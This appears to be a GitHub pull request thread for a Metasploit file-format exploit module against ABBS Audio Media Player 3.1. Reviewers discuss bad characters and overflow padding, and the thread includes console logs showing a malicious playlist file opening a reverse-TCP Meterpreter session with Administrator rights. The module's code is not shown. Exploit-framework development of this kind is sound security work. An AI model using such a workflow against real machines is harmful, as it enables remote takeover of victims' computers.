Added abbs amp exploit module

[modpr0be]

This pull request is for an exploit module for ABBS Audio Media Player exploit posted on exploit-db with EDB-ID 25204.

[jvazquez-r7]

Is "\x00" a badchar bat can be used in the ret? I have not done badchars analysis by myself, just asking because sounds strange.

[modpr0be]

ah yes, i forgot to remove the \x00 bad char. It doesn't affect the stack after all.

[modpr0be]

after a bit research, we still need the \x00 to be in badChars list to make the exploit works. Please see my latest commit 478beee

[jvazquez-r7]

On the other hand, tried on Windows XP SP3 / ABBS Audio Media Player 3.1 and worked, comments should be discussed / fixed before we're able to land!:

msf exploit(abbs_amp_lst) > show options

Module options (exploit/windows/fileformat/abbs_amp_lst):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   FILENAME  msf.lst          no        The file name.


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST     192.168.172.1    yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   ABBS Audio Media Player 3.1 / Windows XP SP3 / Windows 7 SP1


msf exploit(abbs_amp_lst) > rexploit
[*] Reloading module...

[+] msf.lst stored at /Users/juan/.msf4/local/msf.lst
msf exploit(abbs_amp_lst) > use exploit/multi/handler 
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST     192.168.172.1    yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Starting the payload handler...
[*] Sending stage (751104 bytes) to 192.168.172.244
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.244:2371) at 2013-06-30 22:54:42 -0500

meterpreter > background
[*] Backgrounding session 1...

[limhoff-r7]

Where did the 800 suffix padding length come from? And why is it not dependent on the length of anything else in the buffer?

[modpr0be]

The 800 chars padding was added to fill the buffer and trigger the overflow. Is there any nice way to fill the buffer?

[limhoff-r7]

Well, that would be clearer if you had a constant like OVERFLOW_LENGTH that then calculated the fill length by doing

overflow_fill = OVERFLOW_LENGTH - buffer.length
buffer << rand_text_alpha_upper(overflow_fill)

That way the overflow will always be correct if the encoded payload were shorter than expected for some reason. It would also let you experiment to see what is the shortest length you can use to trigger the overflow so you can send a smaller exploit.

[modpr0be]

Ah yes, ok I'll experiment with the buffer length and try to include your suggestion. Thanks! 👍

[jvazquez-r7]

And is it really needed? Sorry but doesn't look like a "standard" stack based buffer overflow, so really would like if it's needed at all to reach get EIP control?

[modpr0be]

Based on my last research, the module doesn't reach EIP if there's no additional buffer. But you're right, I reboot the box and it works now. The last junk is not needed as you said.

[jvazquez-r7]

Oka, testing again and landing if working! thans @modpr0be !

[jvazquez-r7]

Working:

msf exploit(abbs_amp_lst) > rexploit
[*] Reloading module...

[+] msf.lst stored at /Users/juan/.msf4/local/msf.lst
msf exploit(abbs_amp_lst) > use exploit/multi/handler 
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Starting the payload handler...
[*] Sending stage (751104 bytes) to 192.168.172.244
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.244:1033) at 2013-07-01 23:18:36 -0500

meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
meterpreter > 

merging.